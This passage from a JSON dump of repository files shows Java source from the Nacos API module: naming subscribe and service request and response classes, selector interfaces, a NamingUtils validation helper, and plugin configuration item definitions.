    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\n/**\n * Nacos naming subscribe service request.\n *\n * @author xiweng.yy\n */\npublic class SubscribeServiceRequest extends AbstractNamingRequest {\n    \n    private boolean subscribe;\n    \n    private String clusters;\n    \n    public SubscribeServiceRequest() {\n    }\n    \n    public SubscribeServiceRequest(String namespace, String groupName, String serviceName, String clusters,\n            boolean subscribe) {\n        super(namespace, serviceName, groupName);\n        this.clusters = clusters;\n        this.subscribe = subscribe;\n    }\n    \n    public String getClusters() {\n        return clusters;\n    }\n    \n    public void setClusters(String clusters) {\n        this.clusters = clusters;\n    }\n    \n    public boolean isSubscribe() {\n        return subscribe;\n    }\n    \n    public void setSubscribe(boolean subscribe) {\n        this.subscribe = subscribe;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/response/BatchInstanceResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\n/**\n * batch instance response.\n *\n * @author <a href=\"mailto:chenhao26@xiaomi.com\">chenhao26</a>\n */\npublic class BatchInstanceResponse extends InstanceResponse {\n    \n    public BatchInstanceResponse() {\n        super();\n    }\n    \n    public BatchInstanceResponse(String type) {\n        super(type);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/response/InstanceResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Instance response.\n *\n * @author xiweng.yy\n */\npublic class InstanceResponse extends Response {\n    \n    private String type;\n    \n    public InstanceResponse() {\n    }\n    \n    public InstanceResponse(String type) {\n        this.type = type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getType() {\n        return type;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/response/NamingFuzzyWatchChangeNotifyResponse.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Response for notify fuzzy watcher.\n *\n * @author tanyongquan\n */\npublic class NamingFuzzyWatchChangeNotifyResponse extends Response {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/response/NamingFuzzyWatchResponse.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\n\n/**\n * Nacos naming fuzzy watch service response.\n *\n * @author tanyongquan\n */\npublic class NamingFuzzyWatchResponse extends Response {\n    \n    public NamingFuzzyWatchResponse() {\n    }\n    \n    public static NamingFuzzyWatchResponse buildSuccessResponse() {\n        return new NamingFuzzyWatchResponse();\n    }\n    \n    /**\n     * Build fail response.\n     *\n     * @param message error message\n     * @return fail response\n     */\n    public static NamingFuzzyWatchResponse buildFailResponse(String message) {\n        NamingFuzzyWatchResponse result = new NamingFuzzyWatchResponse();\n        result.setErrorInfo(ResponseCode.FAIL.getCode(), message);\n        return result;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/response/NamingFuzzyWatchSyncResponse.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\n\n/**\n * Nacos naming fuzzy watch service response.\n *\n * @author tanyongquan\n */\npublic class NamingFuzzyWatchSyncResponse extends Response {\n    \n    public NamingFuzzyWatchSyncResponse() {\n    }\n    \n    public static NamingFuzzyWatchSyncResponse buildSuccessResponse() {\n        return new NamingFuzzyWatchSyncResponse();\n    }\n    \n    /**\n     * Build fail response.\n     *\n     * @param message error message\n     * @return fail response\n     */\n    public static NamingFuzzyWatchSyncResponse buildFailResponse(String message) {\n        NamingFuzzyWatchSyncResponse result = new NamingFuzzyWatchSyncResponse();\n        result.setErrorInfo(ResponseCode.FAIL.getCode(), message);\n        return result;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/response/NotifySubscriberResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * response for notify service subscribe.\n * @author liuzunfei\n * @version $Id: NotifySubscriberResponse.java, v 0.1 2020年08月06日 5:28 PM liuzunfei Exp $\n */\npublic class NotifySubscriberResponse extends Response {\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/response/QueryServiceResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\n\n/**\n * Nacos naming query request.\n *\n * @author xiweng.yy\n */\npublic class QueryServiceResponse extends Response {\n    \n    private ServiceInfo serviceInfo;\n    \n    public QueryServiceResponse() {\n    }\n    \n    private QueryServiceResponse(ServiceInfo serviceInfo) {\n        this.serviceInfo = serviceInfo;\n    }\n    \n    /**\n     * Build Success response.\n     *\n     * @param serviceInfo service info\n     * @return service query response\n     */\n    public static QueryServiceResponse buildSuccessResponse(ServiceInfo serviceInfo) {\n        return new QueryServiceResponse(serviceInfo);\n    }\n    \n    /**\n     * Build fail response.\n     *\n     * @param message message\n     * @return service query response\n     */\n    public static QueryServiceResponse buildFailResponse(String message) {\n        QueryServiceResponse queryServiceResponse = new QueryServiceResponse();\n        queryServiceResponse.setResultCode(ResponseCode.FAIL.getCode());\n        queryServiceResponse.setMessage(message);\n        return queryServiceResponse;\n    }\n    \n    public ServiceInfo getServiceInfo() {\n        return serviceInfo;\n    }\n    \n    public void setServiceInfo(ServiceInfo serviceInfo) {\n        this.serviceInfo = serviceInfo;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/response/ServiceListResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\n\nimport java.util.List;\n\n/**\n * Service list response.\n *\n * @author xiweng.yy\n */\npublic class ServiceListResponse extends Response {\n    \n    private int count;\n    \n    private List<String> serviceNames;\n    \n    public ServiceListResponse() {\n    }\n    \n    private ServiceListResponse(int count, List<String> serviceNames, String message) {\n        this.count = count;\n        this.serviceNames = serviceNames;\n    }\n    \n    public static ServiceListResponse buildSuccessResponse(int count, List<String> serviceNames) {\n        return new ServiceListResponse(count, serviceNames, \"success\");\n    }\n    \n    /**\n     * Build fail response.\n     *\n     * @param message error message\n     * @return fail response\n     */\n    public static ServiceListResponse buildFailResponse(String message) {\n        ServiceListResponse result = new ServiceListResponse();\n        result.setErrorInfo(ResponseCode.FAIL.getCode(), message);\n        return result;\n    }\n    \n    public int getCount() {\n        return count;\n    }\n    \n    public void setCount(int count) {\n        this.count = count;\n    }\n    \n    public List<String> getServiceNames() {\n        return serviceNames;\n    }\n    \n    public void setServiceNames(List<String> serviceNames) {\n        this.serviceNames = serviceNames;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/response/SubscribeServiceResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Nacos naming subscribe service response.\n *\n * @author xiweng.yy\n */\npublic class SubscribeServiceResponse extends Response {\n    \n    private ServiceInfo serviceInfo;\n    \n    public SubscribeServiceResponse() {\n    }\n    \n    public SubscribeServiceResponse(int resultCode, String message, ServiceInfo serviceInfo) {\n        super();\n        setResultCode(resultCode);\n        setMessage(message);\n        this.serviceInfo = serviceInfo;\n    }\n    \n    public ServiceInfo getServiceInfo() {\n        return serviceInfo;\n    }\n    \n    public void setServiceInfo(ServiceInfo serviceInfo) {\n        this.serviceInfo = serviceInfo;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/selector/NamingContext.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.selector;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\n\nimport java.util.List;\n\n/**\n * Naming selector context.\n *\n * @author lideyou\n */\npublic interface NamingContext {\n    \n    /**\n     * Get service name.\n     *\n     * @return service name\n     */\n    String getServiceName();\n    \n    /**\n     * Get group name.\n     *\n     * @return group name\n     */\n    String getGroupName();\n    \n    /**\n     * Get clusters.\n     *\n     * @return clusters\n     */\n    String getClusters();\n    \n    /**\n     * Get current instances.\n     *\n     * @return current instances\n     */\n    List<Instance> getInstances();\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/selector/NamingResult.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.selector;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.selector.client.SelectResult;\n\nimport java.util.List;\n\n/**\n * Naming select result.\n *\n * @author lideyou\n */\npublic interface NamingResult extends SelectResult<List<Instance>> {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/selector/NamingSelector.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.selector;\n\nimport com.alibaba.nacos.api.selector.client.Selector;\n\n/**\n * Naming selector.\n *\n * @author lideyou\n */\npublic interface NamingSelector extends Selector<NamingContext, NamingResult> {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/spi/generator/InstanceIdGenerator.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.spi.generator;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\n\n/**\n * Generator SPI for Instance Id.\n *\n * @author xiweng.yy\n */\npublic interface InstanceIdGenerator {\n    \n    /**\n     * Generate instance id.\n     *\n     * @param instance instance\n     * @return instance id\n     */\n    String generateInstanceId(Instance instance);\n    \n    /**\n     * Generator type.\n     *\n     * @return type\n     */\n    String type();\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/utils/NamingUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.regex.Pattern;\n\nimport static com.alibaba.nacos.api.common.Constants.CLUSTER_NAME_PATTERN_STRING;\nimport static com.alibaba.nacos.api.common.Constants.DEFAULT_NAMESPACE_ID;\nimport static com.alibaba.nacos.api.common.Constants.NUMBER_PATTERN_STRING;\n\n/**\n * NamingUtils.\n *\n * @author nkorange\n * @since 1.0.0\n */\npublic class NamingUtils {\n    \n    private static final Pattern CLUSTER_NAME_PATTERN = Pattern.compile(CLUSTER_NAME_PATTERN_STRING);\n    \n    private static final Pattern NUMBER_PATTERN = Pattern.compile(NUMBER_PATTERN_STRING);\n    \n    /**\n     * Returns a combined string with serviceName and groupName. serviceName can not be nil.\n     *\n     * <p>In most cases, serviceName can not be nil. In other cases, for search or anything, See {@link\n     * com.alibaba.nacos.api.naming.utils.NamingUtils#getGroupedNameOptional(String, String)}\n     *\n     * <p>etc:\n     * <p>serviceName | groupName | result</p>\n     * <p>serviceA    | groupA    | groupA@@serviceA</p>\n     * <p>nil         | groupA    | threw IllegalArgumentException</p>\n     *\n     * @return 'groupName@@serviceName'\n     */\n    public static String getGroupedName(final String serviceName, final String groupName) {\n        if (StringUtils.isBlank(serviceName)) {\n            throw new IllegalArgumentException(\"Param 'serviceName' is illegal, serviceName is blank\");\n        }\n        if (StringUtils.isBlank(groupName)) {\n            throw new IllegalArgumentException(\"Param 'groupName' is illegal, groupName is blank\");\n        }\n        final String resultGroupedName = groupName + Constants.SERVICE_INFO_SPLITER + serviceName;\n        return resultGroupedName.intern();\n    }\n    \n    public static String getServiceKey(String namespace, String group, String serviceName) {\n        if (StringUtils.isBlank(namespace)) {\n            namespace = DEFAULT_NAMESPACE_ID;\n        }\n        return namespace + Constants.SERVICE_INFO_SPLITER + group + Constants.SERVICE_INFO_SPLITER + serviceName;\n    }\n    \n    /**\n     * parse service key items for serviceKey. item[0] for namespace item[1] for group item[2] for service name\n     *\n     * @param serviceKey serviceKey.\n     * @return\n     */\n    public static String[] parseServiceKey(String serviceKey) {\n        return serviceKey.split(Constants.SERVICE_INFO_SPLITER);\n    }\n    \n    public static String getServiceName(final String serviceNameWithGroup) {\n        if (StringUtils.isBlank(serviceNameWithGroup)) {\n            return StringUtils.EMPTY;\n        }\n        if (!serviceNameWithGroup.contains(Constants.SERVICE_INFO_SPLITER)) {\n            return serviceNameWithGroup;\n        }\n        return serviceNameWithGroup.split(Constants.SERVICE_INFO_SPLITER)[1];\n    }\n    \n    public static String getGroupName(final String serviceNameWithGroup) {\n        if (StringUtils.isBlank(serviceNameWithGroup)) {\n            return StringUtils.EMPTY;\n        }\n        if (!serviceNameWithGroup.contains(Constants.SERVICE_INFO_SPLITER)) {\n            return Constants.DEFAULT_GROUP;\n        }\n        return serviceNameWithGroup.split(Constants.SERVICE_INFO_SPLITER)[0];\n    }\n    \n    /**\n     * Check serviceName is compatibility mode or not.\n     *\n     * @param serviceName serviceName\n     * @return if serviceName is compatibility mode, return true\n     */\n    public static boolean isServiceNameCompatibilityMode(final String serviceName) {\n        return !StringUtils.isBlank(serviceName) && serviceName.contains(Constants.SERVICE_INFO_SPLITER);\n    }\n    \n    /**\n     * check combineServiceName format. the serviceName can't be blank.\n     * <pre>\n     * serviceName = \"@@\";                 the length = 0; illegal\n     * serviceName = \"group@@\";            the length = 1; illegal\n     * serviceName = \"@@serviceName\";      the length = 2; illegal\n     * serviceName = \"group@@serviceName\"; the length = 2; legal\n     * </pre>\n     *\n     * @param combineServiceName such as: groupName@@serviceName\n     */\n    public static void checkServiceNameFormat(String combineServiceName) {\n        String[] split = combineServiceName.split(Constants.SERVICE_INFO_SPLITER);\n        if (split.length <= 1) {\n            throw new IllegalArgumentException(\n                    \"Param 'serviceName' is illegal, it should be format as 'groupName@@serviceName'\");\n        }\n        if (split[0].isEmpty()) {\n            throw new IllegalArgumentException(\"Param 'serviceName' is illegal, groupName can't be empty\");\n        }\n    }\n    \n    /**\n     * Returns a combined string with serviceName and groupName. Such as 'groupName@@serviceName'\n     * <p>This method works similar with {@link com.alibaba.nacos.api.naming.utils.NamingUtils#getGroupedName} But not\n     * verify any parameters.\n     *\n     * </p> etc:\n     * <p>serviceName | groupName | result</p>\n     * <p>serviceA    | groupA    | groupA@@serviceA</p>\n     * <p>nil         | groupA    | groupA@@</p>\n     * <p>nil         | nil       | @@</p>\n     *\n     * @return 'groupName@@serviceName'\n     */\n    public static String getGroupedNameOptional(final String serviceName, final String groupName) {\n        return groupName + Constants.SERVICE_INFO_SPLITER + serviceName;\n    }\n    \n    /**\n     * <p>Check instance param about keep alive.</p>\n     *\n     * <pre>\n     * heart beat timeout must > heart beat interval\n     * ip delete timeout must  > heart beat interval\n     * </pre>\n     *\n     * @param instance need checked instance\n     * @throws NacosException if check failed, throw exception\n     */\n    public static void checkInstanceIsLegal(Instance instance) throws NacosException {\n        if (null == instance) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.INSTANCE_ERROR,\n                    \"Instance can not be null.\");\n        }\n        if (instance.getInstanceHeartBeatTimeOut() < instance.getInstanceHeartBeatInterval()\n                || instance.getIpDeleteTimeout() < instance.getInstanceHeartBeatInterval()) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.INSTANCE_ERROR,\n                    \"Instance 'heart beat interval' must less than 'heart beat timeout' and 'ip delete timeout'.\");\n        }\n        if (!StringUtils.isEmpty(instance.getClusterName()) && !CLUSTER_NAME_PATTERN.matcher(instance.getClusterName())\n                .matches()) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.INSTANCE_ERROR,\n                    String.format(\"Instance 'clusterName' should be characters with only 0-9a-zA-Z-. (current: %s)\",\n                            instance.getClusterName()));\n        }\n    }\n    \n    /**\n     * check batch register is Ephemeral.\n     *\n     * @param instance instance\n     * @throws NacosException NacosException\n     */\n    public static void checkInstanceIsEphemeral(Instance instance) throws NacosException {\n        if (!instance.isEphemeral()) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.INSTANCE_ERROR,\n                    String.format(\"Batch registration does not allow persistent instance registration , Instance：%s\",\n                            instance));\n        }\n    }\n    \n    /**\n     * Batch verify the validity of instances.\n     *\n     * @param instances List of instances to be registered\n     * @throws NacosException Nacos\n     */\n    public static void batchCheckInstanceIsLegal(List<Instance> instances) throws NacosException {\n        Set<Instance> newInstanceSet = new HashSet<>(instances);\n        for (Instance instance : newInstanceSet) {\n            checkInstanceIsEphemeral(instance);\n            checkInstanceIsLegal(instance);\n        }\n    }\n    \n    /**\n     * Check string is a number or not.\n     *\n     * @param str a string of digits\n     * @return if it is a string of digits, return true\n     */\n    public static boolean isNumber(String str) {\n        return !StringUtils.isEmpty(str) && NUMBER_PATTERN.matcher(str).matches();\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/plugin/ConfigItemDefinition.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.plugin;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Plugin configuration item definition.\n *\n * @author WangzJi\n * @since 3.2.0\n */\npublic class ConfigItemDefinition implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * Configuration key.\n     */\n    private String key;\n\n    /**\n     * Display name.\n     */\n    private String name;\n\n    /**\n     * Description.\n     */\n    private String description;\n\n    /**\n     * Default value.\n     */\n    private String defaultValue;\n\n    /**\n     * Configuration item type.\n     */\n    private ConfigItemType type;\n\n    /**\n     * Whether this item is required.\n     */\n    private boolean required;\n\n    /**\n     * Enum values (when type is ENUM).\n     */\n    private List<String> enumValues;\n\n    public ConfigItemDefinition() {\n    }\n\n    public ConfigItemDefinition(String key, String name, ConfigItemType type) {\n        this.key = key;\n        this.name = name;\n        this.type = type;\n    }\n\n    public String getKey() {\n        return key;\n    }\n\n    public void setKey(String key) {\n        this.key = key;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getDescription() {\n        return description;\n    }\n\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    public String getDefaultValue() {\n        return defaultValue;\n    }\n\n    public void setDefaultValue(String defaultValue) {\n        this.defaultValue = defaultValue;\n    }\n\n    public ConfigItemType getType() {\n        return type;\n    }\n\n    public void setType(ConfigItemType type) {\n        this.type = type;\n    }\n\n    public boolean isRequired() {\n        return required;\n    }\n\n    public void setRequired(boolean required) {\n        this.required = required;\n    }\n\n    public List<String> getEnumValues() {\n        return enumValues;\n    }\n\n    public void setEnumValues(List<String> enumValues) {\n        this.enumValues = enumValues;\n    }\n\n    /**\n     * Builder for ConfigItemDefinition.\n     */\n    public static class Builder {\n\n        private final ConfigItemDefinition definition;\n\n        public Builder(String key, String name, ConfigItemType type) {\n            this.definition = new ConfigItemDefinition(key, name, type);\n        }\n\n        public Builder description(String description) {\n            definition.setDescription(description);\n            return this;\n        }\n\n        public Builder defaultValue(String defaultValue) {\n            definition.setDefaultValue(defaultValue);\n            return this;\n        }\n\n        public Builder required(boolean required) {\n            definition.setRequired(required);\n            return this;\n        }\n\n        public Builder enumValues(List<String> enumValues) {\n            definition.setEnumValues(enumValues);\n            return this;\n        }\n\n        public ConfigItemDefinition build() {\n            return definition;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/plugin/ConfigItemType.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.plugin;\n\n/**\n * Configuration item type enumeration.\n *\n * @author WangzJi\n * @since 3.2.0\n */\npublic enum ConfigItemType {\n\n    /**\n     * String type configuration.\n     */\n    STRING,\n\n    /**\n     * Number type configuration.\n     */\n    NUMBER,\n\n    /**\n     * Boolean type configuration.\n     */\n    BOOLEAN,\n\n    /**\n     * Enumeration type configuration.\n     */\n    ENUM\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/plugin/PluginConfigSpec.java",
